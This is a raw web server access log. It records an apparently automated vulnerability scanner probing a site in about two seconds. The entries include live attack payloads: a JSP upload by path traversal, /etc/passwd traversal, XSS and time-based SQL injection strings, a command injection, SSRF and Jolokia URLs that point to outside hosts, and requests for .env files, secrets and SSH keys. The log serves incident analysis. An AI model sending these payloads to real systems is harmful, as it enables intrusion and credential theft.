[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/K1RYKa.jsp&fileId=2 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/other/service-account-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //opensso/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /railsapp/config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/asp_net/main.ashx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //blog/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/Database/db1.db HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.trade HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/thirdpartyController.do HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.archive/archives/catalog/rebuild HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/pma/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sts/Content/Images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /-/media/doo-doo.ashx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-push.yml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/' HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://10.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sidekiq HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.build.sh HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asp/Main.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-devtools HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /siteminderagent/forms/smpwservices.fcc?USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Sitefinity/Authenticate/SWT HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356) HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp-config.json HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dms/out/out.Login.php?referuri=%2Fout%2Fout.ViewFolder.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/portal/10/user/login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/createMysql.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securenvoy/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.htm HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/login/default.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scriptcase/devel/iface/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/admin/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?xmlcontrol=body%20onload=alert(document.domain) HTTP/1.1" 3426
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/install/index/index HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/admin/Index/index HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpldapadmin/index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/error.log HTTP/1.1" 31646
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/frmWelcome.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slurm/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.html HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sfmc/login HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/aura HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /smokeping/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apt/v1/context HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module.php/core/frontpage_welcome.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webmain?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.php HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Manager/ HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-ssl/qmailadmin/qmailadmin HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.snyk HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /smartbi/vision/RMIServlet HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /smartbi/vision/RMIServlet?windowUnloading&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1" 196
[09/Jan/2026:10:52:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/trade.kingston.com.hk:443.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service-account-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secenrol/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /K1RYKa.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/.env HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-daily.yml HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.html HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.xhtml?faces-redirect=true HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.jenkins.sh HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api_smartapp/storage/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sonicos/auth HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //forum/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/asp HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/components/suggestions?recentlyBrowsed HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/jarrewrite.sh HTTP/1.1" 199
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autoconfig HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sysadmin/phpMyAdmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /caches HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webconsole/webpages/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 244
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /render.html?url=https://oast.live HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/development.sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/account/login?return_to=%2Fen-US%2Faccount%2F HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356) HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup/config.xml HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vision/RMIServlet HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /en-US/account/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Orion/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/fact HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //i.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /users/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.dist HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sessions/new HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/login HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/default/ HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conditions HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auditevents HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lighter/api HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sgms/auth HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftpsync.settings HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|rm+3dGaQa.txt|cat HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/my.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://10.0.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /siteminderagent/forms/smaceauth.fcc?USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7 HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/database/data.db HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /m_login.htm HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /beans HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.html HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecrire/?exec=install HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vision/RMIServlet?windowUnloading&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/components/search_projects HTTP/1.1" 196
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/GetSrvInfo.exe HTTP/1.1" 199
[09/Jan/2026:10:52:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
